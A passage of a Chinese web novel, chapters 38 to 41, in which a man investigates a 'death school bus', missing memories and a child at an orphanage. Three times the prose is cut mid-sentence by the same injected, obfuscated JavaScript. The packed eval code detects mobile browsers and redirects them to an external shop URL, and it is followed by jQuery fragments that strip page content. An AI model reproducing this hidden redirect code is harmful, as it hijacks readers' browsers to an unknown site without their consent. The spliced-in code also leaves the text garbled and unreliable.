刘景坦白道:“我也讲真的,我工作室里没适合你的,别想了。”
周言颂还是不依不饶:“那我把她挖我公司当前台怎么样?正好我这边也缺一个会活跃气氛的。”
刘景被这话逗笑了,有些无奈地说:“周老板,你把目光放长远些,别总想着来我这小工作室挖人成不?”
“放心,我就找个话题说说话,不跟你抢人。”
周言颂说完,坐直把车窗打开,从口袋里摸出烟盒,抽出一根点燃。
香烟顶端的火光灼热,涌进来的风把燃烧速度加快,烟味儿逐渐散发开来,越来越强烈。
起先刘景没打算管,连看都没看,当打火机响起第三声时,他才往副驾驶上瞥了一眼,眼神淡淡的,但依旧没管。
直到第四声响起,刘景开口了,伸出一只手,说:“兄弟,讨根烟。”
烟盒里面还剩一根,周言颂连带烟盒一起递给他。
刘景接下塞到口袋里,再次伸出手,说:“兄弟,再讨根烟。”
“你这……”这次轮到周言颂感到无奈了,“挺不会劝人的。”
知道刘景不抽烟,第一根烟递出去的时候周言颂没反应过来,现在反应过来了,把手里的烟掐了,本来想扔掉,见刘景手还伸着,索性塞给他。
38. 第三十八章
天气很好,一直都处于无风很平静的样子,就是晚霞不怎么好看,没有一点层次,生硬地卡在天边,等太阳西沉,又生硬地消失。
车里有点闷,柳南絮把车窗往下降了半扇,抵达家属楼的时候,发现附近的绿化带里有绿化养护工人正在修剪枝丫,看着散落在柏油路上的残枝败叶,不免感慨命运的大不相同。
不单单是指枝丫,人也一样。
正想着,注意力就被闯入视线中的两个人吸引走了。
是吴老师和她的小儿子。
鼓鼓囊囊的书包把吴老师小儿子的后背压弯,可还是很沉,所以他只好又用两只小手抓着书包肩带,尽可能地给肩膀减轻重量。
柳南絮隐隐约约听见吴老师要求小儿子背诵新学的课文,小男孩还是保持低头走路的样子,只是从沉默变成了张嘴背诵。
这种情景柳南絮看着就不舒服,随着两人的身影逐渐超出视线范围,他正要收回注意力,突然听见一声怒吼。
很沙哑,是吴老师的声音。
柳南絮迅速拉开车门,连车窗都来不及升上去。他快步走进家属楼,一眼就看见在前院空地上发飙的吴老师。
吴老师两只手都提着东西,满满当当的,每根手指都被勒得发白,可即便是这样,丝毫不影响她的发挥。
她的小儿子还低着头,像是见怪不怪,全程沉默地盯着地面。
柳南絮站在家属楼大门口抬头望去,莫名觉得每当这种时候会有人出来劝和。
是谁呢?
柳南絮无论如何都想不起来,在大脑中检索半天,连对方的半点信息都没读取出来。
听见动静,家属楼内已经有三三两两的人趴在窗边看热闹,一一找去,都不是符合柳南絮感觉的那个人。
他就这样站着,直到被人拍了肩膀才回过神。
柳洪兵脖子里面挂着运动耳机,因为质量不怎么好,声音外漏得很厉害,他本人倒是听不出来。
“儿子,正找你呢!你车窗忘了关了。”
柳南絮下意识把车钥匙递给柳洪兵,没说话。
柳洪兵没过问,接过车钥匙去把车窗升好,回来时发现柳南絮还保持着那个姿势,喊:“儿子,你一直傻愣着看什么呢?走啊!回家啊!”
柳南絮被柳洪兵强行拽回思绪,感觉到有些头晕,依旧保持着远望的姿势缓劲儿。
没得到回应,柳洪兵终于意识到儿子身体不舒服,开启念叨模式的关心。
柳南絮看向身侧关心自己的父亲,刚要开口说话,不知怎地,大脑如同被一股电流击中,促使他迅速扭头再次看向了家属楼。
这一次,柳南絮的目标相当明确,是位于自家楼层下面的那户人家,甚至精确到了那户人家阳台的窗户。
他找到了,终于找到了,极有可能会出现阻止吴老师的就是这户人家。
只是,这户里面住过人吗?
柳南絮想得头疼都没能想起来。
柳洪兵看儿子嘴唇发白彻底慌了,拿起手机就要给许静打电话。
“爸,”柳南絮及时阻止了柳洪兵,“我没事,不用告诉妈。”
柳洪兵瞪着眼,说:“什么没事,脸色这么吓人还叫没事?”
虽然是这样说,但还是听儿子的话没把电话拨出去。
俩人走到家门口,柳南絮特意提醒柳洪兵不要和许静说刚才的事,免得她担心。柳洪兵打着哈哈表示不用柳南絮操心,他知道怎么办。
柳南絮还以为父亲是答应不说的意思,没想到柳洪兵进了家门直奔厨房,在油烟机的轰鸣声中把在楼下发生的事从头到尾给许静讲了一遍,关键是,还好一通添油加醋。
许静还没听完,脸色就比柳南絮的还要白上一个度,一下子把手里择着的菜叶子丢进水盆里,手上的水都顾不上擦,四下寻找柳南絮。
逮着了人,开始炮火似的询问:“你是不是工作太累了?压力太大了是不是?我和你爸平日里也没问过你工作的进度,那不是不关心你,就是觉得你这孩子自己有分寸,我们说多了会显得太唠叨,没想到你都能把自己累成这样,身体不舒服可以休息一段时间啊!你不是有年假什么的吗?我就没见你用过。”
眼见许静越说越激动,柳南絮赶快打断安抚她,喊:“妈,妈,你先听我说。”
“说什么呀你说,你爸都已经和我说过了,换你说肯定是说不是什么大事,要我别担心,你脸色这么差,不用说我都能猜到。”许静心疼得都快哭了。
柳南絮抱住许静轻轻拍了拍她的后背,没再说什么话刺激她。
方法确实有用,许静慢慢平静下来后被柳南絮扶着坐到了沙发上。
“儿子,”许静后怕似的说,“妈和爸带你去医院检查一下身体吧!你做个全面检查,我们也好放心。”
柳南絮着实没想到在母亲眼中会这么严重,就像他之前出过什么意外一样。
出过意外?
柳南絮被自己生出的感觉点了一下,他突然想到,按照目前的发现来看,大家记忆被改写,以及网络上相关信息消失的原因,主要是为了遮掩死亡校车内受害者真实去世的原因。
既然是这样,为什么又会出现像自己、莫宁、福安安、路灵灵这样的存在呢?
说不定之后还会出现更多像他们这样的人,但是为什么会有知道真相的人呢?
还是说,知道真相的人之间有什么联系,或者是都和死亡校车有什么直接联系?
柳南絮不知道了。
许静见儿子半点没把自己的话听进去,眼看情绪又要起来,被回过神的柳南絮一句话浇灭。
“我去做全身检查。”
许静趁机又说:“明天一早就去,你现在给你老板请假。”
“妈,明天一天我实在抽不出身,这样,过几天,一有时间我就去,你只管好好上课,不用操心我,我这么大的人了,心里有数,绝对不骗你,检查单会保存好带回来给你看的,怎么样都不瞒你。”
柳南絮做完保证
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14187549|150716||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,见许静还在思考,便看向了柳洪兵。
柳洪兵在对上儿子的视线后瞬间会意,嬉皮笑脸地和许静扯东扯西。
长辈在客厅调整情绪,柳南絮到厨房撸起袖子拿起锅铲做饭。
吃过饭,许静没再跟着柳洪兵出门溜达消食,而是监督儿子早点睡觉,不要再在书房瞎捯饬到很晚。
看着母亲紧张的样子,柳南絮乖乖听话,好在今天本来就没什么好忙的,只需要问问莫宁明天下午去不去全健福利院。
莫宁看到消息,显然很意外,立刻甩过来一通语音电话。
柳南絮不知道许静回没回主卧,所以没接,发消息简单告知对方现在不方便打电话。
莫宁先是回了一个带着点猥琐意味的表情包,然后才回归正题,问为什么又要去,难道是有什么发现吗?
柳南絮懒得再瞒,表示上次在那里遇到了一个名叫“福安安”的小孩儿,很有可能也知道死亡校车的内情。
果不其然,莫宁很快就发消息讨要解释。
哦~这样啊~我都不知道呢~
柳南絮看着语调带着飘号尾音的追问,心知肚明莫宁本人的心情一定不会像发来的消息这样轻松愉快。
再扯谎不合适,于是实话实说把“因为之前还没有把思路理顺”这个解释发送过去,没想到还是没能让莫宁满意。
小姑娘在网络那头开启“抠字眼”文学,提醒柳南絮之前说的是及时分享线索,不是在把思路理顺之后再告知对方。
看着新收到的消息,字字句句都写着委屈,柳南絮趁机丢过去三个字“那你呢”,以此反问莫宁。
于是,对面没了动静。
莫宁这样的态度,倒是让柳南絮真的有些生气。
情绪在刹那间窜起来,快得在他察觉到后自己都愣住了。
类似的事柳南絮不是没有遇到过,但是都没让他在情绪上有这么明显的起伏。
以往遇到类似的事,他非但不会受丝毫影响,还可以分析两个人互相的立场和态度,慢慢引导对方换位思考,而不是生硬地搬出“那你呢”这三个字。
搬出来后如果事情翻篇过去了也可以,没想到自己竟然会生气,还是闷气。
柳南絮关了灯,躺好开始思考自己和莫宁的关系。
在他的记忆中,依旧没有莫宁说的那些事,她于自己来说不过是个刚认识不久的合作伙伴,硬要再牵扯上一层关系的话,就只有“妈妈的好朋友的女儿”这个了。
绕得太远了。
总之,不管从哪一层面上来讲,自己的情绪都不应该受到莫宁情绪的影响,但偏偏就是受到了影响,还是控制不住的那种,而且还不止一次。
想着想着,柳南絮不免想起只要听见莫宁喊自己“柳老师”就会头疼,所以到底是为什么?
这几天,已经有太多个“为什么”了,撑得人大脑着实有些吃不消。
在睡着之前,手机叮了一声,屏幕发射出一束白光,把漆黑的房间照亮。
39. 第三十九章
柳南絮瞬间被惊醒,软着胳膊看消息,是莫宁发来的,表示明天去不成了,老板不给批假。
理由说清楚后,消息框最顶端还在不停闪烁着“对方正在输入中…”这几个字,于是柳南絮就没有回复,等着对方发完再说。
他本以为莫宁是在那边纠结可不可以要求消息及时共享,觉得这事还真有意思,心想:你竟然还会感到不好意思?
顶端那里,“莫宁”和“对方正在输入中…”不停地来回切换,等消息的人眼看就要熬不住了,终于,消息来了。
很简单的一句话——死亡校车只会在起雾的时候出现。
柳南絮更乐了,倒不是因为得到如此明确的线索,单单是因为莫宁居然会反思自己,这是他没想到的。
线索蹦出来后,消息框顶端彻底安静了。
柳南絮从床上坐起来,打字问:这是什么意思?
顶端再次热闹起来,不过没多久,莫宁的解释就过来了。
“我想了想,你说的确实有道理,我不能一味地对你提要求,所以想用这条线索换取你明天得到的线索,你想和我说多少就说多少,不强求,以后也是。”
依照柳南絮对莫宁的了解,说明这些话反之亦然。
莫宁这样做表达的更深层次的意思是什么呢?
同一件事,每个人的处理方式和初衷可能都不太一样,所以要具体问题具体分析。
她这个人,在外人面前要多阳光就有多阳光,但真实的她终究不是那样的性子。
莫宁缺乏安全感,渴望得到拯救,又要求自己手里必须牢牢抓着能拯救她的人的弱点,这样才会感到放心。
这个姑娘游走在矛盾之中,生活在权衡利弊之下,可是现在,她把手里面的底牌丢掉了。
柳南絮无法确定莫宁的手里面有几张底牌,但是猜测,不会多,纠结了那么长时间扔出来的这张,说不定就是唯一的一张。
所以……这代表着他在莫宁那里的信任度在骤减。
柳南絮看着再没有风浪的聊天界面,不气是不气了,改成心慌了。
这次轮到他给莫宁打电话,铃声响了很久对面才接通。
接通后还是没动静,柳南絮本来就是一时冲动拨打的电话,现下突然不知道该说什么了,两人只好一直僵持着。
大抵是受不了了,莫宁开着玩笑说:“电话费很贵的。”
柳南絮很没有情商地往下接:“我打的电话,不扣你的话费。”
“难道你赚钱就很容易吗?”莫宁气不过他这种伪有钱人的做派,“你想说什么?快说,我着急睡觉。”
柳南絮想问问她可不可以不要耍小孩子脾气,想问问她到底瞒了多少线索,更想告诉她多相信自己一点……
内心汹涌澎湃,热浪翻涌,到嘴边只有轻描淡写地一句:“没什么。”
“那你打电话干什么?”莫宁确实很不安,但是说出来的话只有开玩笑的意味,完全听不出来她真正的情绪。
柳南絮撒了一个相当不完美的谎,道:“打错了。”
为什么要撒谎呢?撒这个谎对自己有什么好处吗?
答案显而易见,没有。
可他还是这样做了。
“好,我太困了,就先挂了,”莫宁说着还真打了一个长长的哈欠,打着哈欠也不妨碍她把话说完,“你也早点睡,有线索再见!”
这通堪称奇怪的电话在莫宁的哈欠声中挂断,把人搅和得更加容易胡思乱想。
按下“挂断键”的瞬间,莫宁闭上了嘴,假哈欠打得相当不错,跟真的似的。
房间没开灯,她要省电费。
莫宁躺在床上卷着被子,努力把身子绻缩成一个球。
每交代一个线索,她内心的焦虑就会增大几分。
这段时间变得越来越嗜睡,种种迹象表明,自己现在相当不安全,莫宁已经开始害怕自己会在外人面前情绪失控了。
昏暗的房间内,连脉搏跳动的声音都被放大,高度紧绷的精神让莫宁不自觉伸手摸了摸自己的心脏。
砰砰砰、砰砰砰、砰砰砰……
一下接着一下,她确实还活着。
是吗?
可惜状态不怎么好。
莫宁在心里面想:要是可以死掉该多好啊!
如此这般想着,床上的人还真把自己想困了,真哈欠从嘴巴里呼出来,姑娘含着眼泪找周公去了。
同样是昏暗的房间,柳南絮的状态比莫宁好不到哪儿去,只是他想的不是生死,依旧在琢磨主动权不在自己这里的“信任”二字。
琢磨着琢磨着,他又给顿悟出一个问题,好在,这个问题的主动权在自己这边。
柳南絮抛开“如何让莫宁信任自己”,心想:我信任莫宁吗?
相处之间的种种迹象表明,确实存在“信任”的部分,首先一有线索就同她分享,再者没怎么强求她把知道的都告诉自己,以至于在发现“福安安”这一条线索的时候,处理方式不严谨。
就像莫宁说的那样,及时共享,没有理顺可以两个人一起理,没必要一个人理顺了再去告诉对方。
总之,自己确实存在问题。
柳南絮在黑暗中望着天花板叹了一口气,在心里承认道:自己其实对莫宁并不够信任,所表现出来的,不过是表面功夫。
造成这样的原因是什么呢?
莫宁讲述的那些自己毫无印象的往事?莫宁虚假的情绪展现?
似乎都不是。
不对,没有“似乎”,就是“都不是”。
种种迹象表明,他对莫宁不是不够信任,而是一点都不信任。
明明就是自己的问题,柳南絮还是忍不住烦躁地翻了个身,记忆跟着翻转,把莫宁喊的“柳老师”给转到了最上层。
没想到现在只是想想就会引发头疼,声音落得很远,吸引着柳南絮往最深处探寻。
过了一分多的时间,他顶着难耐的头痛感,顿悟般想:我和莫宁之间,肯定不仅仅只有她说的那些事,后来肯定还发生了什么,而且极有可能,那些事莫宁也忘了。
遗忘,真是一件
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14187550|150716||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
十分可怕的事。
它会在本人不知情的情况下吞噬过往的经历,这头巨兽既胃口大,还生性贪婪,关键是不挑食,不论美好的,还是残酷的,都想占为己有。
它一出现,糟糕变得不再糟糕,痛苦变得不再痛苦,同样,美好变得不再美好……
之前柳南絮没有认真思考过“遗忘”,可是现在,他想从巨兽口中把属于自己的回忆全都夺回来。
不论糟糕、痛苦、美好,都要夺回来。
要问为什么的话,仅仅是因为他还不想忘。
月亮下了夜班,疲惫地和接班的太阳换岗,它们俩把动静闹得太大,以至于熟睡中的人们都从睡梦中惊醒,被迫开启崭新的一天。
午时,刘景没什么事,在等外卖的时候站在窗边远眺放松眼睛。
直到有敲门声响起,他转身让人进来。
来人是柳南絮,来告知下午请假的事。
“我知道,你只管去就好了。”刘景说着,非常欣慰地笑了笑,“能看到你小子请一次假还真是不容易。”
假都已经请好了,柳南絮却没有离开的打算。
刘景大概率猜到了原因,见人还在犹豫,带着他到茶台前坐下,如往常一样烧水沏茶。
柳南絮来这一趟,确实不单单只是为了请假,还有一些事想问问老板,只是他实在不能确定自己有没有多想。
刘景手上忙活着,随意地开口问:“我看你这脸色可不太好,怎么,昨天晚上没休息好?”
“哦!没有。”柳南絮下意识否认。
刘景笑了笑,没有再执着探讨这个话题。
热茶沏好后,柳南絮才决定还是要问问:“刘哥,您为什么要帮我?”
刘景在茶台上捯饬,连头都没抬一下,说:“你要问的是在学校给予你的帮助,我还是之前和你说的那个原因,看重你这小伙子身上的前途。”
听到前面的话,柳南絮就明白自己没有多想,十分肯定地说道:“您知道我问的不是这个。”
刘景揣着明白装糊涂,只想让要答案的人清楚地把问题问出来:“那是什么?”
柳南絮没办法,只好问:“为什么帮我接近赵安梦?”
“小絮,你这说的是什么话?”
刘景眼底的笑意更深了,这是打算把话题往更深层面引入的征兆。
“你们都是我的员工,身为老板,看重员工的工作能力是件很正常的事,但是也必须保障员工的人身安全,你刚才话里面用到的‘接近’这个词,我觉得不太礼貌。”
柳南絮直直地看着刘景,如他所意改了口,重新问:“那您为什么要帮我?”
对于更正后的问题,刘景给出了一个带着点不太对劲的回答:“因为我开始好奇你的私生活了。”
柳南絮没说话,只认为刘景这是在糊弄自己。
刘景同他对视了几秒,率先打破不太和谐的气氛,反问:“柳南絮,你了解你自己吗?”
刘景很少会直呼其名,每当他喊全名的时候,就说明正处于很严肃的状态。
40. 第四十章
柳南絮不知道刘景为什么会这样问,他还记得在学校时老师曾布置过一个作业,让写一篇分析自己的大作文,字数要求万字以上,内容要全面地剖析自己。
那次作业柳南絮最终交上去的文档字数长达三万多字,老师给出的评语也很认可。
只是,距离现在时间有些长了,还是认识刘景之前的事。
所以现在听到类似的问题,在那个高分作业的基础上,柳南絮想要点头表示了解。
刘景却没给他这个机会,再次说:“我个人认为,你这辈子都做不出害人的事。”
柳南絮彻底不明白了,怎么会有种事态特别严重的感觉呢?
刘景松开擦水渍的小方巾,站起身走到电脑桌后面,从抽屉里掏出那个软皮本子递给柳南絮。
柳南絮脸色一下子就变了,但很快又恢复镇定,把软皮本子接下,问:“这个本子的内容,都谁看过?”
“你之前落在前台那里了,我不小心看到里面的内容后就拿走了,想过还给你,只是没找到合适的机会。”刘景耐心地解释,“不过你放心,我查了监控,除了我,没人看过,小李连动都没动过。”
柳南絮感觉自己现在就像被谁扒去了衣服,赤裸裸地站在人来人往的十字路口,头顶是炙热阳光,脚底是三千寒冰,身上是异样目光。
千言万语,万般情绪,统统都卡堵在喉咙口处,最终压缩成一声十分简单的道谢。
刘景看着柳南絮垂下去的目光,温和地开导:“小絮,即便遇到再离奇的事情,就算百口莫辩,无论如何都说不清楚,最起码,要找到一个发泄口。”
柳南絮有些慌张地端起茶一饮而尽,以他自身现在的状态,并没有察觉到茶水的温度,好在身体的感官会格外直接地反馈给他。
舌头被热茶烫伤了,疼痛感最是难以忍耐,险些把他激出眼泪。
柳南絮没意识到危险,只觉得视线略微模糊,说出来的话更是不太清晰。
“你之所以好奇我的私生活,是为了弄清楚本子上写的到底是怎么回事?”
刘景很坦然地说道:“是的。”
于是,柳南絮陷入了无尽的沉默中,他不知道该怎么向刘景描述自己这段时间的经历,对方才不会把自己当成精神病患者对待。
在这之前,他从来没有思考过“如何把死亡校车的事告知给别人”,所以眼下只能沉默。
沉默着,沉默着,总算彻彻底底地理解了莫宁、福安安、路灵灵她们。
在一场巨大无比的谜团中,最最痛苦的不是失去亲人的那些人,更不是缺失了某一部分记忆的人,而是被隔离在外的少数人。
这些人日日夜夜背负着真相,生活在水深火热之中,受尽折磨,拼尽全力咬牙坚持地活着,只为了期待某时某地能找到同类,等来阳光打在身上的那一刻。
在没有遇到可以并肩作战的伙伴之前,只能孤军奋战。
柳南絮不知道她们是怎么熬到现在的,但是光凭想象,就能知道一定很煎熬。
“安全感”这个词,对这些人来说,简直是妄想。
刘景看出柳南絮心里面的担忧,说:“不过我相信你,相信那些都是真的。”
柳南絮一下子把耷拉着的脑袋抬起来,愣愣地问道:“为什么?”
“因为我能感觉到自己在遗忘着什么,”刘景指了指柳南絮拿在手里面的软皮本子,“就像你写在里面的情况那样,差别只在于‘遗忘的过程’我是有意识的,不是一开始就不记得的。”
“什么?”柳南絮如同被听到的话扇了一耳光,脑子都快转不过来弯了,“可以说得详细一点吗?”
刘景起身拿了一支笔给他,说:“记一下比较清楚,也方便你后面好好捋思路。”
柳南絮接过笔,做好准备,把刘景的话全都一字不差地写上。
刘景说话的语速不快,始终在配合柳南絮记录,不过他知道的也不多,只有勉强想起来的短信和浏览记录的事。
柳南絮写完,停下笔,问:“在你的记忆中,我在五年前给你发过关于重大社会新闻的短信,内容围绕着‘浓雾’和‘小孩子’,是吗?”
话题不再轻松,办公室内的氛围一下子紧张起来。
刘景严肃地说:“对,而且很可怕的是,我记起来之后差点又给忘了,看着浏览记录想了很久才想起来,那种感觉就像记忆正在被擦掉一样,和平常的遗忘感觉不一样。”
柳南絮放下笔,同样很严肃地说道:“可是,在我的记忆中,我从来没有给你发过类似的短信。”
就在刘景要怀疑是否是自己记错的时候,柳南絮开口打消了他的这种念头。
“不过,我想,可能不是你的问题,是我的记忆缺失了。”
柳南絮把软皮本子翻到第一页,开始解释。
“这里面的内容你看过了,所以知道我遇到莫宁那天都发生了什么,我之所以可以这样肯定自己的记忆有所缺失,是因为到现在都对莫宁说的那些事毫无印象,但是我妈妈记起来了。”
“我认为,出问题的那一方,是我。”
说话的人的状态一点都不像是在说自己的事,听的人倒是皱着眉,问:“你接下来什么打算?”
柳南絮合上软皮本子,把笔还给刘景,没了严肃,倒是有些无奈地说:“首先这件事没办法请求警方的帮助,其次我只是一个普通的市民,没办法直接对太阳花幼儿园进行调查,所以只能慢慢来,寻找线索几乎全凭运气。”
“确实不容易。”刘景说话的刹那间想到了什么,当即调转话题,“我记得你的本子里面提到了万寿园吧?”
柳南絮点点头,问:“怎么了?”
刘景没回答,又问:“葬在那里的那位家境怎么样?”
柳南絮简单总结道:“孤儿院的孩子,后来被一户普通家庭收养,生活上挺节俭的。”
“万寿园的墓地可不便宜啊!”刘
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14187551|150716||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
景提醒完顺嘴问道,“调查出来靠谱点的离世原因是什么了吗?”
由于包括福利院之后的事都被柳南絮记在了另一个本子上,所以刘景不知道后续。
柳南絮也不瞒着,坦言地说道:“周二的时候我去福利院打听,得到的消息是,她在回家的路上目睹到一名歹徒行凶,为了救被歹徒抓住的小男孩,身中数刀不幸去世。”
“救小男孩?”刘景沉默了一下,继续追问,“最后小男孩怎么样了,救下来了吗?”
柳南絮不忍心说话,只是摇摇头。
刘景脸色又变了一下,很快就说:“好,我知道了,如果我这边有什么发现,也会第一时间告知你。”
这种时候,柳南絮能做的只有表示感谢:“谢谢刘哥,很抱歉把你也牵扯进来了。”
“这说的哪儿的话,我只希望你能把事情顺利、完美地解决好。”刘景说着身长胳膊拍拍柳南絮的肩膀。
柳南絮又要道谢,听到刘景自己把话接下去。
“不过说实话,我也是有私心的,我不希望自己有缺失的记忆,即便过往再怎么不堪,那也是自己好不容易趟过的路,我不舍得弄丢。”
刘景忍不住笑了笑,宽慰柳南絮。
“但是如果你实在太累的话,完全可以休息休息,调整好自身的状态才是拯救世界的关键,别一心只想当什么奉献自己的大英雄。”
刘景端起茶杯,碰了一下柳南絮面前空着的茶杯,“之后我可能会彻底忘记,所以就不把祝福的话留到以后再说了,现在祝你成功,你记得把东西收好,小心一点。”
柳南絮没再道谢,而是给自己添了一些茶,冲着刘景遥举了一下,然后小抿一口。
刘景看了一眼时间,先站起身,开玩笑道:“好了,你该出发拯救世界去了!”
办公室房门被拉开的时候产生了一小阵风,把晌午的阳光搅散打乱,落在人的心底变成多人心照不宣的大秘密。
就快要入夏了,刮在身上的风抢先一步带上燥热的味道,空气中阳光的味道更是一天比一天浓烈。
两辆车一前一后地停在全健福利院大门附近,赵安梦下车先给柳南絮打了声招呼,然后绕到副驾那边帮忙拉开车门。
在等开门的时候,赵安梦给姨妈和柳南絮各自介绍了一下对方。
赵安梦的姨妈名叫赵芹,衣着打扮从头到脚都透露着华贵,让人一眼就能看出家境很好。只是,她的性子太过冷淡,看谁都带着疏离感,包括看向赵安梦的时候。
大抵是赵芹的态度实在不怎么好,赵安梦怕柳南絮多想,冲他尴尬地笑了一下。
柳南絮倒是不觉得有什么,麻利地帮忙把汽车后备箱里面的东西搬到地上。
等秦院长出来后,照旧领着他们进去,只是一路上都忍不住在感叹:“还真是缘分,我没想到您几位认识,上午接到赵小姐的电话,说要多加一位,我是真的没想到会是柳先生,实在是太巧了。”
41. 第四十一章
入了院,赵安梦给柳南絮使了个眼色,两人放慢脚步落后一大截,发现秦院长和赵芹顾着说话没注意他们,二人直接站定。
赵安梦建议道:“柳南絮,你不用和我们一起了,直接去找孩子们玩吧!这个时间大家应该都在二楼的兴趣室里面玩。”
“好,谢谢了。”柳南絮刚准备抬脚进大厅,突然从右手边砸过来一块小石头。
小石头个头不大,没有砸到人,只落在柳南絮的脚边,丢石头的人不像是在捣乱,倒像是在故意引起谁的注意。
赵安梦和柳南絮齐刷刷地望过去,一眼看到站在树荫下的福安安。
柳南絮正准备有所动作,赵安梦比他还要开心,抢先一步迈出脚步向福安安走去。
到了跟前,赵安梦弯着腰冲福安安笑:“安安,你又偷跑出来自己玩啊!但是,可不能随便冲人丢石头,知道吗?这是一种不安全的行为。”
福安安无视赵安梦的话,指着柳南絮,说:“我在等你。”
“什么意思?”赵安梦以为福安安丢石头是找自己,所以听到他的话一时没反应过来。
柳南絮解释道:“我来就是找他的。”解释完又问,“你也是吗?”
“哦!原来是这样啊!”赵安梦恍然大悟,笑得更开心了,“对,我姨妈想收养他,所以目前在培养感情。”
第一次和福安安见面时,柳南絮就觉得他有点像死亡校车里面的一个受害者,现在听到赵安梦说的话,心里有了一个大胆的猜测。
三个人站在树荫下还没说上几句话,秦院长和赵芹就找了过来。
柳南絮发现赵芹在面对包括赵安梦在内的其他人的时候都带着疏离感,面对秦院长的时候也是忍耐着客气,但是在福安安这小孩面前,人情味儿什么的一下子都有了,就像整个人都活过来了。
而她展现出来的众多感情中,拔得头筹的自然是“母爱”。
只是,福安安半点不给赵芹面子,甚至是厌恶,和对秦院长的态度一样。
赵芹一点都不在乎福安安怎么糟蹋自己的好意,以蹲着的姿势仰头看向小孩,说:“安安,我给你带了好多好多好吃的,我们一起去看看吧!你看看有没有你喜欢吃的,不喜欢的我下次来给你带别的,喜欢的还给你带,好不好?”
福安安冷淡地瞥了赵芹一眼,拒绝道:“不好。”
赵芹仍旧很温柔地问:“为什么?”
福安安脆生生地说:“我不喜欢你。”
场面着实尴尬,即便搬出“童言无忌”来暖场也不管用,可是又不能不暖。
秦院长连忙笑呵呵地上前一步解释:“小福他这孩子确实比较有个性,胆子小,还有些内向,所以很难会喜欢谁。”
赵芹还看着福安安,看得眼眶都快红了。
秦院长边给福安安挤眼睛,边说:“小福,赵女士人很好的,你和她相处相处就知道了,不用害怕。”
等秦院长说完,福安安连开口都没有,往后退了两步,直接把身体贴到了大树的枝干上。
秦院长站出来的本意是控场,结果却把场面弄得更加难堪,面色险些挂不住。
赵芹的眼眶终于彻底红了,赵安梦把她搀扶起来,低声安慰着到石凳上坐下。
秦院长情绪上头,把站在身后的柳南絮给忘了,看了一眼赵芹,压低声音训斥福安安。
“你能不能让我省点心?我知道你害怕,可是也不能这样做吧?赵女士对你那么好,她肯定会好好待你的,你不能因为受到一次伤害就对之后的人都失去信心,就算你不想跟她回家,这个态度,你自己说,过分不过分?”
福安安一副拽巴巴的样子,始终不说话。
秦院长不仅仅需要操心福安安这一个孩子,还要操心全健福利院的上上下下,再加上这几天她为春游的事忙得头疼,现在又碰上孩子不听话,实在心累得很。
两人站在树荫下僵持着,直到赵芹在另一边把情绪稳定好过来。
秦院长赔着笑,颇为无奈地开口对赵芹说:“赵女士,你也知道小福他经历过什么,所以才会这样,我就没见过他喜欢谁,千万放心,这孩子不是针对你。”
赵芹刚轻轻摇了摇头,嘴都没来得及张开,福安安突然抬手指向秦院长的身后,冲着没什么存在感的柳南絮,声音极大地说:“我喜欢他。”
秦院长的赔笑瞬间凝固在脸上,只觉得聊不下去了。
不光是她,赵芹的脸色同样变了几变,赵安梦更没想到事态会朝着这个方向发展。
还被指着的柳南絮挪了一下脚,走到秦院长的侧后方,提醒福安安道:“可是,我目前没有收养孩子的打算,不出意外的话,之后也不会有。”
福安安放下手,不在乎地说:“我也没有想要被谁收养的打算,不出意外的话,之后也不会有。”
这话把秦院长气得险些一口气上不去,见她要开口,柳南絮及时把人拦下,询问:“秦院长,请问可以让我和他聊聊天吗?”
秦院长脸色稍缓点后才点头,说:“当然可以。”
赵安梦还虚扶着赵芹,见状打圆场,提议去二楼看看别的小孩子,秦院长连忙附和。
赵芹极力忍耐了一下,甩开赵安梦的手,由秦院长带着进了一楼大厅。
柳南絮见赵安梦的脸色不好,从口袋里掏出一包纸巾递给她,问:“没事吧?”
赵安梦愣愣地看着楼房,神色复杂地说:“没事。”
她没有接下纸巾,用一种不甚明显的方式拒绝了柳南絮的好意。
柳南絮想到大概是因为什么,所以把纸巾收进了口袋,没打算再让第二次。
赵安梦的视线依旧停留在楼房那里,余光注意到柳南絮的动作扯了一下嘴角,要笑不笑地说:“我进去了。”
随后,不等柳南絮有所回应,高跟鞋的声音已经响起,很快远去。
身后的大树上发着好多嫩芽,树梢还有不少麻雀在来回跳跃,阳光
